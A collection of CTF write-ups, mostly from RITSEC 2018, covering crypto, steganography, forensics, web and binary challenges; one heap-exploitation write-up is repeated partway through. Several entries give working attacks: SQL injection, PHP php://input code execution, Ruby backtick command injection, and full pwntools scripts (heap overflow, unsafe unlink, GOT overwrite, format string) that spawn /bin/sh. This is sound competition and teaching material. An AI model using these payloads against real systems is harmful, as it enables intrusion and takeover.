text_chunk
stringlengths
151
703k
# Who drew on my program 350 ## Description ```I don't remember what my IV was I used for encryption and then someone painted over my code :(. Hopefully somebody else wrote it down! Author: sandw1ch``` ## Solution There was a png file linked which showed a script performing an aes encoding.We got to see parts of the key, no iv, and about the second half of the ciphertext.Now there's a twist to the challenge - we don't have to have any cryptographical knowledge to solve this challenge.If you read the last line of the description again it says "Hopefully somebody else wrote it down!". So I searched for this string which was visible on the picture: "The message is protected by AES!" ...Apparently RITSEC plain stole this challenge from tmctf!Here's an older writeup: https://github.com/dqi/ctf_writeup/tree/master/2015/tmctf/crypto200 So I took their script and adjusted it to my values:```python#!/usr/bin/python from Crypto.Cipher import AESimport binasciiimport stringimport itertools # givenbKEY = "9aF738g9AkI112" # use null bytes to minimize effect on outputIV = "\x00"*16 def encrypt(message, passphrase): aes = AES.new(passphrase, AES.MODE_CBC, IV) return aes.encrypt(message) def decrypt(cipher, passphrase): aes = AES.new(passphrase, AES.MODE_CBC, IV) return aes.decrypt(cipher) pt = "The message is protected by AES!"ct = "9e00000000000000000000000000436a808e200a54806b0e94fb9633db9d67f0" # find the key using the plaintext and ciphertext we know, since the IV has no effect on the decryption of the second blockfor i in itertools.product(string.printable, repeat=2): eKEY = ''.join(i) KEY = bKEY + eKEY ptc = decrypt(binascii.unhexlify(ct), KEY) if ptc[16] == pt[16] and ptc[30] == pt[30] and ptc[31] == pt[31]: print "Got KEY: " + str(KEY) fKEY = KEY pt2 = binascii.hexlify(decrypt(binascii.unhexlify(ct), fKEY))[32:] print "Decrypting with CT mostly zeroes gives: " + pt2 print "Should be: " + binascii.hexlify(pt[16:])# we can now recover the rest of the ciphertext ct by XOR(pt[i], decrypted[i], since we chose ct 00 in all the positions we are going to recover answer = "" for i in range(13): pi = pt[17+i] # letters from the plaintext pti = pt2[2*i+2:2*i+4] # 2 hex letters from decryption of second block answer += "%02X" % (ord(pi) ^ int(pti, 16)) rct = ct[0:2] + answer.lower() + ct[28:] print "Which means CT was: " + rct # now we can decrypt the recovered ct and xor against the pt to recover the IVwpt = decrypt(binascii.unhexlify(rct), fKEY)IV = ""for i in range(16): p = ord(pt[i]) ^ ord(wpt[i]) IV += "%02X" % pIV = binascii.unhexlify(IV) # sanity check:aes = AES.new(fKEY, AES.MODE_CBC, IV)print "Sanity check: " + aes.decrypt(binascii.unhexlify(rct)) # We won!print "The IV is: " + IV``` And this was the output: ```bashKiwi@Doghouse:~$ python exploit.py Got KEY: 9aF738g9AkI112#gDecrypting with CT mostly zeroes gives: 727dfa1eaadff9adf8d347e732cc5321Should be: 726f7465637465642062792041455321Which means CT was: 9e128e7bc9ab9cc9d8b13ec77389436a808e200a54806b0e94fb9633db9d67f0Sanity check: The message is protected by AES!The IV is: RITSEC{b4dcbc#g}``` It worked! :D Flag: RITSEC{b4dcbc#g}
# What_Th.\_Fgck (100) Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand. Also I might be wrong on some things. Enjoy :) ![alt text](1.png "Chall") ```OGK:DI_G;lqk"Kj1;"a"yao";fr3dog0o"vdtnsaoh"patsfk{+``` Googling some parts of the string we get the following: ![alt text](2.png "Chall") Okay so it seems like the text is written in Dvorak? Never heard of something like this before. Now we google: `Qwerty and Dvorak converter online` We find this converter: http://wbic16.xedoloh.com/dvorak.html. ![alt text](3.png "Chall") `RITSEC{Isn't_Th1s_a_far_sup3eri0r_keyboard_layout?}`
RITSEC CTF 2018: Yet Another HR Management Framework (Pwn 250)============================================================== ## Description Although there has been a ton of human resources management frameworks outthere, `fpasswd` still wants to write his own framework. Check it out and SEEhow that GOes! `nc fun.ritsec.club 1337` *Author: fpasswd* ## Analysis ```$ file pwn2pwn2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, Go BuildID=b489c015714bb598d34b6f4e04632de90b476a2a1, BuildID[sha1]=8683cf78a615c5820aef885b4612b71806a77b00, not stripped``` The challenge binary is a large (1.4MB) 32-bit x86 executable and it's notstripped. Let's try running it: ```$ ./pwn2Welcome to yet another human resources management framework!============================================================1. Create a new person2. Edit a person3. Print information about a person4. Delete a person5. This framework sucks, get me out of here!Enter your choice:``` Judging by the interface this is probably going to be a heap-based challenge:we can malloc (create a person), free (delete a person), edit some informationand printing information about a person. But before we jump to conclusions,let's have a look at the binary in a disassembler. ![Function list](img1.png) Some of those function names (for example `cgoCheckPointer0`) suggest that thisis a Go program that calls some C code using [cgo](https://golang.org/cmd/cgo/).Go is memory safe so we can ignore most of the binary and only look forvulnerabilities in the C functions. The `main._Cfunc_*` functions all seem to be wrappers around the actual Cfunctions, which are located at the end of the function list. For example thisis the implementation of createPerson: ![createPerson](img2.png) As we can see our guess was correct: each person is a 12 byte struct on the heap,and the first DWORD is set to the address of `printPerson`, another function. After reversing all the C functions this is the picture we get: ```cstruct person { void (*print_fn)(struct person *p); char *name; unsigned int age;}; struct gets_info { void *buffer; size_t size;}; unsigned int numPerson;struct person *p[10]; void printPerson(struct person *my_p){ printf("Name: %s\n", my_p->name); printf("Age: %u\n", my_p->age);} void createPerson(void){ if (numPerson > 9) { puts("No more person for you."); } else { p[numPerson] = malloc(12); p[numPerson]->print_fn = printPerson; }} void deletePerson(unsigned int i){ free(p[i]->name); free(p[i]);} void printPersonWrapper(unsigned int i){ p[i]->print_fn(p[i]);} ssize_t myGets(struct gets_info *info){ return read(0, info->buffer, info->size);}``` If we can somehow overwrite the function pointer at the beginning of a person,we can redirect execution. Let's switch to dynamic analysis and try to see whathappens when we create some people. ```gef➤ rWelcome to yet another human resources management framework!============================================================1. Create a new person2. Edit a person3. Print information about a person4. Delete a person5. This framework sucks, get me out of here!Enter your choice: 1 Creating a new person...Enter name length: 1Enter person's name: aEnter person's age: 1 Welcome to yet another human resources management framework!============================================================1. Create a new person2. Edit a person3. Print information about a person4. Delete a person5. This framework sucks, get me out of here!Enter your choice: 1 Creating a new person...Enter name length: 1Enter person's name: aEnter person's age: 1 Welcome to yet another human resources management framework!============================================================1. Create a new person2. Edit a person3. Print information about a person4. Delete a person5. This framework sucks, get me out of here!Enter your choice: ^C gef➤ x/4x 0x081a3ca00x81a3ca0 : 0x081a8370 0x081a8390 0x00000000 0x00000000 gef➤ x/3x 0x81a83700x81a8370: 0x080ebb10 0x081a8380 0x00000001 gef➤ x/3x 0x81a83900x81a8390: 0x080ebb10 0x081a83a0 0x00000001``` Hmm, so it looks like both names and person structs are allocated on the heap(as expected) and they are interleaved like this: ```0x81a8370: --------------- | Person 1 |0x81a8380: --------------- | Name 1 |0x81a8390: --------------- | Person 2 |0x81a83a0: --------------- | Name 2 | ---------------``` But what happens if we try to edit a person? We can guess that `myGets` will beused to read the new name so let's put a breakpoint on `read`. ```gef➤ b readBreakpoint 1 at 0xf7e7fd10 (2 locations)gef➤ cContinuing.2 Editting a person...Enter person's index (0-based): 0Enter new name length: 1337Enter the new name:Thread 1 "pwn2" hit Breakpoint 1, 0xf7f85360 in read () from /usr/lib32/libpthread.so.0 gef➤ x/4x $esp0xffffd67c: 0x080ebc5f 0x00000000 0x081a8380 0x00000539``` It looks like we're writing into the existing name buffer for person 1 with nobounds checking at all (we're reading 1337 bytes but the malloc chunk for name 1is only 16 bytes). This means that we can overflow person 1's name and overwriteperson 2's print function pointer, then print person 2 to get code execution.Let's put that theory to test. ```Enter your choice: 2 Editting a person...Enter person's index (0-based): 0Enter new name length: 1337Enter the new name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADone. Welcome to yet another human resources management framework!============================================================1. Create a new person2. Edit a person3. Print information about a person4. Delete a person5. This framework sucks, get me out of here!Enter your choice: 3 Printing a person...Enter person's index (0-based): 1 Thread 1 "pwn2" received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()``` Great! We control EIP, now we only have to write an exploit to get codeexecution on the server. ## Exploitation The code that calls the overwritten function pointer is this: ![printPersonWrapper](img3.png) It first pushes the address of the corrupted person struct on the stack, thencalls the function pointer. After the call the stack will look like this: ``` ---------------esp: | Ret addr | ---------------esp + 4: | &p[1] | --------------- | ... |``` If we can find a ROP gadget that first removes the return address from the stackand then pops the stack pointer, we can use the memory of person 2 (which wecontrol) as our stack for a ROP chain. Since the target binary is not position-independent we don't even need an infoleak to gain code execution. This one willdo: `0x80c0620 : pop ebp ; add al, 0x89 ; pop esp ; and al, 0x30 ; add esp, 0x24 ; ret` Now that we have control of the stack, all we need to do is to write a ROP chainthat places `/bin/sh\0` somewhere in writable memory and invokes `execve` to getus a shell. I used a random spot in `.bss` to store `/bin/sh` because it'swritable and sits at a known address. ```$ python2 exploit.py[+] Opening connection to fun.ritsec.club on port 1337: Done[*] Switching to interactive mode$ lsflag.txtpwn2$ cat flag.txtRITSEC{g0_1s_N0T_4lw4y5_7he_w4y_2_g0}$[*] Closed connection to fun.ritsec.club port 1337``` : 0x081a8370 0x081a8390 0x00000000 0x00000000 gef➤ x/3x 0x81a83700x81a8370: 0x080ebb10 0x081a8380 0x00000001 gef➤ x/3x 0x81a83900x81a8390: 0x080ebb10 0x081a83a0 0x00000001``` Hmm, so it looks like both names and person structs are allocated on the heap(as expected) and they are interleaved like this: ```0x81a8370: --------------- | Person 1 |0x81a8380: --------------- | Name 1 |0x81a8390: --------------- | Person 2 |0x81a83a0: --------------- | Name 2 | ---------------``` But what happens if we try to edit a person? We can guess that `myGets` will beused to read the new name so let's put a breakpoint on `read`. ```gef➤ b readBreakpoint 1 at 0xf7e7fd10 (2 locations)gef➤ cContinuing.2 Editting a person...Enter person's index (0-based): 0Enter new name length: 1337Enter the new name:Thread 1 "pwn2" hit Breakpoint 1, 0xf7f85360 in read () from /usr/lib32/libpthread.so.0 gef➤ x/4x $esp0xffffd67c: 0x080ebc5f 0x00000000 0x081a8380 0x00000539``` It looks like we're writing into the existing name buffer for person 1 with nobounds checking at all (we're reading 1337 bytes but the malloc chunk for name 1is only 16 bytes). This means that we can overflow person 1's name and overwriteperson 2's print function pointer, then print person 2 to get code execution.Let's put that theory to test. ```Enter your choice: 2 Editting a person...Enter person's index (0-based): 0Enter new name length: 1337Enter the new name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADone. Welcome to yet another human resources management framework!============================================================1. Create a new person2. Edit a person3. Print information about a person4. Delete a person5. This framework sucks, get me out of here!Enter your choice: 3 Printing a person...Enter person's index (0-based): 1 Thread 1 "pwn2" received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()``` Great! We control EIP, now we only have to write an exploit to get codeexecution on the server. ## Exploitation The code that calls the overwritten function pointer is this: ![printPersonWrapper](img3.png) It first pushes the address of the corrupted person struct on the stack, thencalls the function pointer. After the call the stack will look like this: ``` ---------------esp: | Ret addr | ---------------esp + 4: | &p[1] | --------------- | ... |``` If we can find a ROP gadget that first removes the return address from the stackand then pops the stack pointer, we can use the memory of person 2 (which wecontrol) as our stack for a ROP chain. Since the target binary is not position-independent we don't even need an infoleak to gain code execution. This one willdo: `0x80c0620 : pop ebp ; add al, 0x89 ; pop esp ; and al, 0x30 ; add esp, 0x24 ; ret` Now that we have control of the stack, all we need to do is to write a ROP chainthat places `/bin/sh\0` somewhere in writable memory and invokes `execve` to getus a shell. I used a random spot in `.bss` to store `/bin/sh` because it'swritable and sits at a known address. ```$ python2 exploit.py[+] Opening connection to fun.ritsec.club on port 1337: Done[*] Switching to interactive mode$ lsflag.txtpwn2$ cat flag.txtRITSEC{g0_1s_N0T_4lw4y5_7he_w4y_2_g0}$[*] Closed connection to fun.ritsec.club port 1337```
# Bucket 'o cash ## Trying to solve it mainstreamWe get a huge file which looks like a memory dump. Inspecting it in your editor of choice also reveals the string eMiL at the beginning, pointing to Lime, a memory dump tool for linux. There were two ways to solve this. The first was to painstakingly use volatility to parse the dump after first determining the profile to be used. Volatility comes with Win profiles per default and Linux profiles ned to be located and added separately. Sifting through the dump you could fina reference to Linux Centos 7.5 862 which allowed you to find the correct profile. ## Outsmarting the systemAt this point I got pretty frustrated and that's not what sundays should be about. I had already run strings on the file and nothing interesting had come up. I went and solved another challenge and that's when it hit me: base64! 'RITSEC' translates to 'UklUU0VD' in base64. Just run strings again and grep for that and voila, you get the flag!
# Challenge```fun.ritsec.club:8007 Author: jok3r ```Same page as TangledWeb # SolveAfter solving Tangled Web, we get a hint:``` ``` Going to `http://fun.ritsec.club:8007/devsrule.php` and get the following message:```Not what you input eh?This param is 'magic' man.``` The 2 keyswords here are **input** and **magic**. Fiddling with the `?magic=` parameter, I tried different LFI. The one that worked was `php://input`. If you do a POST request to `http://fun.ritsec.club:8007/devsrule.php?magic=php://input` with PHP code as the POST payload, we have PHP Code Execution. ![](https://i.imgur.com/jl2Z6x3.png) There is an interesting file called `JokersSomeSortaHack`. Inside, there is an RSA key. This hinted me to a user we can connect to with that RSA key. I got the `/etc/passwd` file. ![](https://i.imgur.com/VcSWjSt.png) The `joker` user looks interesting. After looking inside its directory, we find a `flag.txt` file which we can read: ![](https://i.imgur.com/Ep3RBsa.png) Flag: `RITSEC{WOW_THAT_WAS_A_PAIN_IN_THE_INPUT}`
Write-up by @doegox and @PapaZours of Quarklabs. Many thanks to you for the job and GG for solving the first 5 levels ! Level5: [http://wiki.yobi.be/wiki/GreHack_2018_Writeups#Secret_Keeper_level_5_.28500_points.29](http://wiki.yobi.be/wiki/GreHack_2018_Writeups#Secret_Keeper_level_5_.28500_points.29)
# Crazy train (250) Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand. Also I might be wrong on some things. Enjoy :) ![alt text](1.png "Chall") We were the second team to solve this one. ![alt text](2.png "Chall") Okay lets begin.. ![alt text](3.png "Chall") This is the first page. Not much. Lets get the articles ![alt text](4.png "Chall") Seem to be some message board. From this I'm pretty sure the flag will not be here as it would be visible to everyone.. Text also seem to be escaped. Lets look at the source of the page. One thing that stood out was the csrf token. ![alt text](5.png "Chall") Seems weird. Let's google for `authenticity_token` ![alt text](csrf.png "Chall") Okay ruby. Interesting. This is probably not the exploit but we gather some very useful information about the application which we can use later. Moving on. Lets `create a post` ![alt text](6.png "Chall") From the message board we know these fields probably does nothing. Lets view the source of the page ![alt text](7.png "Chall") A hidden input field. Interesting. Lets change the field from hidden to a text field so we can enter data. ![alt text](8.png "Chall") Lets enter 5*5 and save the article. ![alt text](9.png "Chall") Cool we have command injection Googling command injection ruby I get ![alt text](12.png "Chall") Okay, to execute shell commands, payload should be placed in backticks. Lets submit a more useful payload. ![alt text](11.png "Chall") ![alt text](10.png "Chall") And to view the flag I submit this payload: ![alt text](13.png "Chall") ![alt text](14.png "Chall")
## The tangled web - Web challenge (200 points) This was a second web challenge, with an URL: http://fun.ritsec.club:8007. The main thing here was to crawl complete webpage and inspect responses. I used Burp Suite for that task. At first, URL that was different was http://fun.ritsec.club:8007/Fl4gggg1337.html, unfortunately, that was a troll.Second thing that is worth paying attention was http://fun.ritsec.club:8007/Stars.html. It contains a paragraph that is encoded in base64. **UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=**, we can decode this using *Decoder* tab in Burp Suite or running this command in terminal: *_echo "UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=" | base64 -d_*. Given output is our flag: **RITSEC{AR3_Y0U_F3371NG_1T_N0W_MR_KR4B5?!}**
## Special Force - Web challenge ( 100 points) This is a web challenge and we are provided with an URL:http://fun.ritsec.club:8005/.Upon opening we can see that we are presented with **Ship leaderboard** If we enter one of the presented ships, we can see its records.If we type **'**, the text changed to *Something went wrong with your record query! What are you trying to do???* which clearly indicates that this is a SQL injection. This challenge is an easy one, we can just query all records just by running this **' or 'x'='x** . The flag is **RITSEC{hey_there_h4v3_s0me_point$_3ny2Lx}**
## Crazy Train - Web 250: **Description:** N/A **Challenge:** fun.ritsec.club:3000 **Difficulty:** Easy **Solved by:** Tahar Amine ELHOUARI **Solution:** We are presented with a web application that is based on **Ruby on Rails**, it is all about posting and submiting articles to the App!! When we try to submit an article, we are given two inputs to write in. The team took too much time, until I released that there is a hidden third input in the page. I have seen too many people (Probably Indians) trying to XSS the App, but I know that most of CTF contests doesn't have XSS in web challenges! It is a useless vulnerability in most of CTFs. So, I thought it is probably a command injection or probably an RCE. A friend from another team hinted me and told me that you are close, but there is a hidden input so I started trying with Command Injection but I did not succeed! Later, I started trying to exploit an RCE **Remote Code Execution**, It didn't work but the friend told me I am close! I remembered something, that this is a **Ruby on Rails** Challenge and not a PHP Web App Challenge, so I started thinking that exploitation payloade must be different because it is different language and different syntax! I started googling as usual and looking for guides about Web Application Hacking/Security in Web Apps that are based on Ruby on Rails, and I think that is the reason of the name of that challenge being named **Crazy Train**, because it is Crazy and Train refer to the Rails. After, googling I get to know how to exploita an RCE vulnerability and I succeeded using the following payload: **`cat flag.txt`** Note: I couldn't write the right payload of MD of github! Use **ALT GR + Number 7** in your keyboard to get the characters that I have used before & after **cat flag.txt** It is something like this ' cat flag.txt ' I hope you got my point!! **Flag:** RITSEC{W0wzers_who_new_3x3cuting_c0de_to_debug_was_@_bad_idea}
# I am a Stegosaurus 200 ## Description ```Look Closely Author: 1cysw0rdk0 and oneNutW0nder``` ## Solution In this challenge we were provided with a png image which seemed to be corrupted.I used the following tool to repair it: https://online.officerecovery.com/pixrecovery/ Now the flag was readable. Flag: RITSEC{th1nk_0uts1d3_th3_b0x}
Full solution with steps taken is found [here](https://github.com/happysox/CTF_Writeups/tree/master/RITSEC_CTF_2018/gimme_sum_fud). TLDR: Heap overflow. User input and flag is placed on the heap. User input is refleced to stdout and isn't null terminated or bounds checked properly. It is therefore possible to merge the two strings in heap memory before `printf` is called on the user input. **For the remote solution** I just bruteforced the offset between our input and the flag in memory. ```python#!/usr/bin/python2from pwn import * recieved = ""length = 0x400with context.quiet: while "SEC{" not in recieved and length < 0x700: p = process('./pwn3') #p = remote('fun.ritsec.club', 1338) payload = "A"*(length-1) p.sendlineafter('hangry...\n', payload) recieved = p.recvall() p.close() length += 0x10print recieved.split('\n')[1]``` ```$ ./exploit.pyRITSEC{Muff1n_G0verFl0w_mmmm}```
# From our friends at nexthop! ## Forensics challenge at RITSEC I start by checking the pcap in Wireshark because I think it has a okey GUI and it gives an idea of what im looking for. This is the third packet looks interesting, nexthop.network in it, DNS. good stuff. Lets follow this stream and see if there is something interesting. For some reason the host on 192.168.174 has done very many dns queries to 192.168.1.1 and under a very short period of time. This is pretty suspicious. By looking at the hex output of the package we see that the class attribute of the message is flipping between 0 and 1 with some kind of pattern. This looks a bit like ascii-code. Also there happens to be exactly 144 packets(18*8). If we manually take out the first 4 words we get the following:```01010010 = R01010011 = S01111011 = {00110001 = 1```"FLAG FORMAT IS RS{}" - This looks promising :) Let's script out the rest of the conversation so that we only get the binary string we want.```tshark -r nethop.pcap -z "follow,udp,hex,2" | grep -E " \.$" | awk '{print $2}' | cut -c 2- | tr -d '\n'```Mmmm one-liner <3. The tshark command just prints out the hex of the conversation between the hosts.As a nice coincidence the intersting line is all by itself. So using the the grep command to catch the the regex " \.$" should suffice to remove all unneeded rows. After this its pretty straightforward what the command does. The final output: If we convert the message to ascii we get the flag "RS{1T5_4LW4Y5_DN5}", neat!
In `BSidesDelhi 2018 - data_bank` challenge, there is a `use after free (UAF)` vulnerability which leads to `tcache poisoning`. Using this, we leak a `libc` address to de-randomize `ASLR`, and then put our `fake chunk` address into the `tcache` bin using `tcache poisoning` attack. As a result, we can force `malloc` to return our `fake chunk` before `__malloc_hook`, so we can overwrite `__malloc_hook` with `one gadget`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `PIE`, `Canary`, `Full RELRO`, and `ASLR` in `x86_64` binaries in presence of `tcache`.
Full solution is found [here](https://github.com/happysox/CTF_Writeups/tree/master/RITSEC_CTF_2018/reverseme) (co-author [ludvigknutsmark](https://github.com/ludvigknutsmark)) TLDR: * In the binary the plaintext has been replaced with XXXXXXXXXXXXXXXX* In the core dump the key has been replaced with YYYYYYYYYYYYYYYY Solution:Decrypt the ciphertext from the core dump with the key found in the binary ```python#!/usr/bin/python2from Crypto.Cipher import AESfrom binascii import unhexlify def decrypt(key, cipher_text): aes = AES.new(key) plaintext = aes.decrypt(cipher_text[:16]) return plaintext cipher_text = unhexlify("a629fc7035ccd2df99fb42ebc25e4f9f")print decrypt("ITSTHECRYPTOKEY!", cipher_text)``` ```$ ./solution.pyRITSEC{AESISFUN}```
## Music.png - Misc 300: **Description:** Name that tune **Challenge:** music.png **Difficulty:** Medium **Solved by:** Tahar **Solution:** We start by downloading the challenge file and opening it, we see some kind of random colors & points! I have been trying to do many tricks that I used to do with Steganography challenges before! None worked, I asked for help and a friend gave me a hint, he said only one Word that let me work on it till the end! My friend said: LSB. It means the "**Least Significant Bit**", and I was able to start working on it by just using this little ONE-WORD hint! I always use a well known toolkit for LSB-Challenges, the name is **Zsteg** and you can find it on Github! I downloaded the tool and installed it on my VM Box to start solving the challenge. I started running the **zsteg** toolkit and used the following command: ```zsteg -all music.png```, and got some kind of weird text replying in the whole output of the toolkit! That was actually an interesting thing to look for. I started by **Googling** for that output text, and found out that it was a Music :3 **https://jhirniak.github.io/Never-Gonna-Rick-You-Up/index.html** I Googled again using the name that was appearing in the **URL** ```Never-Gonna-Rick-You-Up``` and I found out another well known music (Following the Challenge Description: **Name the Tune**). So probably the name of that tune is the flag that we are looking for! I made my flag and solved that challenge that took me a lot of time and overthinking =) **https://www.youtube.com/watch?v=dQw4w9WgXcQ** **Flag:** RITSEC{never_gonna_give_you_up}
# Freeze writeup RITSECThis challenge was solved with @ludvigknutsmark In this challenge we are supplied with the two files:* main* libpython2.7.so.1.0 Doing file on the executables gives us the following: The fact that the program uses a python-library is a strong indication that the program is some kind of compiled python program. Let's further investigate. By using binwalk on main we get a bunch of zlib-compressed data-files. Let's extract those and see if there is anything interesting here. Testing file on all the files in the folder we see that there are som python 2.7 byte-compiled files. Using uncompyle6 to decompile the bytecode-files we can read the python-scripts. The scripts didnt really hold any interesting information except for the filenames. So now we know that it is installed using PyInstaller. After a good hour sifting through google I found out that PyInstaller for Linux has a built-in tool called "pyi-archie_viewer" Getting closer, but the file we get is labeled as data. The file is a .pyc file but we need to fix the header.With a little help from https://www.fortinet.com/blog/threat-research/python-based-malware-uses-nsa-exploit-to-propagate-monero--xmr--.html the header of the file was fixed. When the bytecode is stored inside the executable the header is removed for some reason. The header is the byte-sequence \x03\xF3\x0D\x0A followed by a 4 byte timestamp. So we insert \x03\xF3\x0D\x0A\x00\x00\x00\x00 at the beginning of the file using bless. After this is done we can decompile the .pyc file. If we just change the if statement in the file we should get the flag. Okey, so this was wierd... After we solved the challenge an announcement came up telling that there could be problems solving the challenge if you weren't in America. Luckily one of my teammates figured out that we could probably bruteforce it as it looks like the problem could only be because of some time-issue. Using the fact that we know the flag will start with "RITSEC{" we try by changing the last 5 numbers in the key and then print the decrypted message only if it contains RITSEC{. This is the output of the script, with the correct flag at the top!
# Captcha >Charvises (the native species which lived on Charvis 8HD before the first settlers arrived) were very good at math. In a surprising symbiosis relationship between humans and Charvises, it was agreed that the Charvises would be responsible for C8.Can you pass their CAPTCHA (Completely Automated Public Turing Test to tell Charvises and Humans Apart)? ## The basics We are presented with a website containing a simple enough equation composed of addition, substraction, division and multiplication as well as only integers. Easy enough. I laughed to myself as I copied and pasted the string in idle and evaled. And failed. TUrns out this is a nseaky font that maps the 9 digits, plus, minus, slash and parenthesis characters to random other characters. At this point, I saw 2 ways of approaching the problem: OCR and heavy-duty programming. ## OCRTesseract is noice but not *that* noice. The idea was to screenshot the page, save as image, run OCR, eval, post request with answer. Easy enough. However, it turned out that even when specifying characters, tesseract simply messes up too often for it to be useful. I tried with higher resolution, different colors etc. etc. but to no avail. ## The long way home: understanding ttf TTF is ~~a godforsaken garbage format~~ an interesting type of font files developped by apple. [This](https://developer.apple.com/fonts/TrueType-Reference-Manual/) should shed some light on the format. It's fairly straight forward albeit archaic and needlessly boring. The basic idea is that each character is mapped to a glyph which is little more than a collection of coordinates so that it can be correctly rendered. The website gave us a new font file each time which looked like it was auto generated and yielded a new maping each time. I.e. the letter ```c```might be mapped to what looked like 8 and the second time it might be mapped to the letter ```g```. THe glyphs however stayed the same. ## Solving From there it was straightforward: take a font file as a tempalte, map the glyphs to the letters displayed on the screen and build a dictionnary. After that send a new request, parse the font file, map each character to it's glyph then use the dictionnary to parse each letter to the actual symbol, eval, submit the request. The python script is self-explanatory. This method yields a 100% success rate since it's deterministic. Great success.
```pythonfrom pwn import *from sys import argvimport time context(os='linux', arch='amd64', log_level='info')FILE_NAME = './simple_note'libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") r = process(FILE_NAME) #wrapper functiondef add_new_note(size, note): r.sendafter("Your choice:", "1") r.sendafter("Please input the size:", str(size)) r.sendafter("Please input your note:", note) def delete_the_note(index): r.sendafter("Your choice:", "2") r.sendafter("Please input the index:", str(index)) def show_the_note(index): r.sendafter("Your choice:", "3") r.sendafter("Please input the index: \n", str(index)) return r.recvuntil(b"\n===", drop=True) def edit_the_note(index, note): r.sendafter("Your choice:", "4") r.sendafter("Please input the index:", str(index)) r.sendafter("Please input your note:", note) def exit_simple_note(): r.sendafter("Your choice:", "5") getListAddr = lambda i: i * 8+0x6020c0got_atoi = 0x602058 def main(): #leak add_new_note(0x88, "A"*0x88) #0 add_new_note(0x88, "B"*0x88) #1 add_new_note(0x88, "C"*0x88) #2 add_new_note(0x88, "D"*0x88) #3 add_new_note(0x88, "E"*0x88) #4 delete_the_note(0) add_new_note(0x88, "X"*8) #0 leak = u64(show_the_note(0)[-6:].ljust(8, b"\x00")) #calc libc libc_base = leak - 0x3c4b78 #libc_base - (main_arena + 88) = 0x3c4b78 fun_system = libc_base + libc.symbols[b"system"] log.info("libc_base: 0x{0:x}".format(libc_base)) log.info("system: 0x{0:x}".format(fun_system)) #unsafe unlink attack payload = p64(0) + p64(0x81) #prev_size, size payload += p64(getListAddr(0)) #fb = list[0] payload += p64(getListAddr(1)) #bk = list[1] payload = payload.ljust(0x80, b"X") payload += p64(0x80) #prev_size payload += b"\x90" #size + freed_flag edit_the_note(3, payload) delete_the_note(4) #unlink # write system addr edit_the_note(3, p64(got_atoi)) edit_the_note(0, p64(fun_system)) r.sendafter("Your choice:", "/bin/sh\x00") r.interactive() if __name__ == '__main__': main() ``````
```pythonfrom pwn import *from sys import argv context(os='linux', arch='amd64', log_level='debug')FILE_NAME = './babyheap'binary = ELF(FILE_NAME) if len(argv) > 1: if argv[1][0] == 'd': gdb_cmd = """# menudeactive alarmb * 0x400c38# Newb * 0x400cfb# Delb * 0x400d02# Editb * 0x400d0e# name on mallocb * 0x4009f9# content on mallocb * 0x400a5e# last atoib *0x400954c """ libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') r = gdb.debug([FILE_NAME], gdb_cmd)else: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') r = process(FILE_NAME) def New(size, content, name): r.sendafter("choice:", "1") r.sendafter("Size :", str(size)) r.sendafter("Content:", content) r.sendafter("Name:", name) def Delete(): r.sendafter("choice:", "2") def Edit(content): r.sendafter("choice:", "3") r.sendafter("Content:", content) def Exit(yn): r.sendafter("choice:", "4") r.sendafter("Really? (Y/n)", yn) def main(): # input buffering payload = b"n" payload += b"A" * (0x1000 - 0x19) payload += p64(0x50) Exit(payload) payload = p64(0) payload += p64(0x51) New(0x30, payload, 'X' * 0x8) #Off-by-one Delete() got_exit = 0x602020 payload = b'AAAAAAAA' * 6 payload += p64(got_exit) New(0x48, payload, 'A') # edit got 1 payload = p64(binary.plt[b"alarm"] + 6) payload += p64(binary.plt[b"read"] + 6) payload += p64(binary.plt[b"puts"] + 6) payload += p64(0xdeadbeef) payload += p64(binary.plt[b"printf"] + 6) payload += p64(binary.plt[b"alarm"] + 6) payload += p64(binary.plt[b"read"] + 6) payload += p64(0xdeadbeef) payload += p64(0xdeadbeef) payload += p64(0xdeadbeef) payload += p64(0xdeadbeef) payload += p64(binary.plt[b"printf"] + 6) Edit(payload) # fsb payload = b"%19$p!" r.sendafter("choice:", payload) leak = r.recvuntil(b"!", drop=True) addr_libc_start_main = int(leak, 16) - 240 libc_base = addr_libc_start_main - libc.symbols[b"__libc_start_main"] addr_system = libc_base + libc.symbols[b"system"] log.info("leak ==> {}".format(leak)) log.info("system ==> {0:x}".format(addr_system)) r.recv() # edit got 2 payload = p64(binary.plt[b"alarm"] + 6) payload += p64(binary.plt[b"read"] + 6) payload += p64(binary.plt[b"puts"] + 6) payload += p64(0xdeadbeef) payload += p64(binary.plt[b"printf"] + 6) payload += p64(binary.plt[b"alarm"] + 6) payload += p64(binary.plt[b"read"] + 6) payload += p64(0xdeadbeef) payload += p64(0xdeadbeef) payload += p64(0xdeadbeef) payload += p64(0xdeadbeef) payload += p64(addr_system) r.send(b"AAA") # menu(printf("AAA") == 3) r.sendafter("Content:", payload) r.sendafter("choice:", b"/bin/sh\x00") r.interactive() if __name__ == '__main__': main() ```
